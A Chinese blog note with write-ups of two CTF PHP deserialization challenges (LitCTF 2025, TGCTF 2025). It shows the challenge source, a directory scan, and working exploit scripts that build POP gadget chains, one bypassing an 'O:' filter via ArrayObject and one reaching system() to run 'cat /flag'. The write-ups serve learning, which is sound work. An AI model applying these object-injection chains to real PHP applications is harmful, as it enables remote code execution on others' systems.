note-38

[LitCTF 2025]君の名は

开题先给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
// 显示当前文件的源代码
highlight_file(__FILE__);
// 关闭所有错误报告
error_reporting(0);

// 创建一个匿名函数,当调用时会执行`/readflag`命令
create_function("", 'die(`/readflag`);');

// 定义Taki类
class Taki
{
private $musubi; // 私有属性
private $magic; // 私有属性

// __unserialize魔术方法,在反序列化时调用
public function __unserialize(array $data)
{
$this->musubi = $data['musubi']; // 从数组中设置musubi属性
$this->magic = $data['magic']; // 从数组中设置magic属性
return ($this->musubi)(); // 调用musubi属性(假设它是可调用的)
}

// __call魔术方法,当调用不存在的方法时触发
public function __call($func,$args){
// 动态创建对象并调用方法
(new $args[0]($args[1]))->{$this->magic}();
}
}

// 定义Mitsuha类
class Mitsuha
{
private $memory; // 私有属性
private $thread; // 私有属性

// __invoke魔术方法,当对象被当作函数调用时触发
public function __invoke()
{
// 返回两个属性的连接
return $this->memory.$this->thread;
}
}

// 定义KatawareDoki类
class KatawareDoki
{
private $soul; // 私有属性
private $kuchikamizake; // 私有属性
private $name; // 私有属性

// __toString魔术方法,当对象被当作字符串使用时触发
public function __toString()
{
// 调用soul对象的flag方法
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

// 从POST请求中获取Litctf2025参数
$Litctf2025 = $_POST['Litctf2025'];
// 检查参数是否以"O:"或"a:"开头并跟着数字
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
// 如果不匹配,则反序列化该参数
unserialize($Litctf2025);
}else{
// 如果匹配,输出提示信息
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

反序列化,看看ai怎么说

ai没用,但是找到了出题人的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b; // 1.把对象当成函数调用,触发__invoke()
$b->thread = $c; // 2. 把对象作为字符串使用,触发__toString()
$c->soul = $a; // 3. 调用不存在的方法,触发__call()

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

有没见过的知识点
其中是要调用一个匿名函数,还有是使用arrayobject类型来反序列化出C开头的payload来绕过

TGCTF 2025

什么文件上传?

好像上传啥都回显 hacker

浅浅扫一下目录

1
2
3
4
5
6
7
[23:39:02] 403 -  548B  - /assets/
[23:39:02] 301 - 162B - /assets -> http://127.0.0.1/assets/
[23:39:04] 301 - 162B - /css -> http://127.0.0.1/css/
[23:39:15] 200 - 239B - /robots.txt
[23:39:19] 200 - 0B - /upload.php
[23:39:19] 403 - 548B - /uploads/
[23:39:19] 301 - 162B - /uploads -> http://127.0.0.1/uploads/

原来前端里已经提示:机器人是啥?
在暗示有robots了

robots:

1
2
3
4
5
6
7
8
9
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php

只有class.php 能连上
怎么是反序列化?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

ai注释一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
// 显示当前文件的源代码
highlight_file(__FILE__);
// 关闭所有错误报告
error_reporting(0);

// 定义一个多层base64解码的函数
function best64_decode($str)
{
// 对输入字符串进行5次base64解码
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str))));
}

// 定义yesterday类
class yesterday {
public $learn; // 公共属性learn
public $study="study"; // 公共属性study,默认值为"study"
public $try; // 公共属性try

// 构造函数
public function __construct()
{
// 初始化learn属性
$this->learn = "learn<br>";
}

// 析构函数
public function __destruct()
{
echo "You studied hard yesterday.<br>";
// 调用study对象的hard方法
return $this->study->hard();
}
}

// 定义today类
class today {
public $doing; // 公共属性doing
public $did; // 公共属性did
public $done; // 公共属性done

// 构造函数
public function __construct(){
// 初始化did属性
$this->did = "What you did makes you outstanding.<br>";
}

// 魔术方法:当调用不存在的方法时触发
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
// 检查doing属性的双重MD5哈希是否等于666
if(md5(md5($this->doing))==666){
// 调用doing属性作为函数
return $this->doing();
}
else{
// 返回doing对象的better属性
return $this->doing->better;
}
}
}

// 定义tommoraw类
class tommoraw {
public $good; // 公共属性good
public $bad; // 公共属性bad
public $soso; // 公共属性soso

// 魔术方法:当对象被当作函数调用时触发
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}

// 魔术方法:当访问不存在的属性时触发
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}

// 定义future类
class future{
private $impossible="How can you get here?<br>"; // 私有属性impossible
private $out; // 私有属性out
private $no; // 私有属性no
// 多个公共属性
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

// 魔术方法:当给不存在的属性赋值时触发
public function __set($arg1, $arg2) {
// 检查out对象的useful7属性是否存在
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
// 执行系统命令whoami
system('whoami');
}
}

// 魔术方法:当对象被当作字符串使用时触发
public function __toString(){
echo "This is your future.<br>";
// 执行POST参数wow指定的系统命令
system($_POST["wow"]);
return "win";
}

// 析构函数
public function __destruct(){
$this->no = "no";
return $this->no;
}
}

// 检查filename参数指定的文件是否存在
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
// 如果文件不存在,去掉filename参数最后4个字符
$data=substr($_GET['filename'],0,-4);
// 对处理后的数据进行5次base64解码后反序列化
unserialize(best64_decode($data));
}

// 注释提示:你昨天学习,今天选择,能到达你的未来吗?
// You learn yesterday, you choose today, can you get to your future?
?>

给d导解析了一下,没直接给出能用的payload,但是思路看了一下应该没问题,先调用yesterday 里的__destruct,里面调用了一个hard方法,对应today的_call,然后是当md5调用类时会将其当成字符串调用,对应future里的_toString,然后_toString里直传参wow即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class yesterday{
public $learn;
public $study;
public $try;

}

class today{
public $doing;
public $done='test';
}

class tommoraw{
}

class future{
}

$a = new yesterday;
$b = new today;
$c = new tommoraw;
$d = new future;

// 正确的属性赋值方式
$a->study = $b;
$b->doing=$d;

// 先序列化,再多层base64编码
$serialized = serialize($a);
$p = base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($serialized)))));

echo $p.'aaaa';
?>

然后再post里传wow来运行即可
wow=cat /flag;


note-38
https://aidemofashi.github.io/2025/06/21/note-38/
作者
aidemofashi
发布于
2025年6月21日
许可协议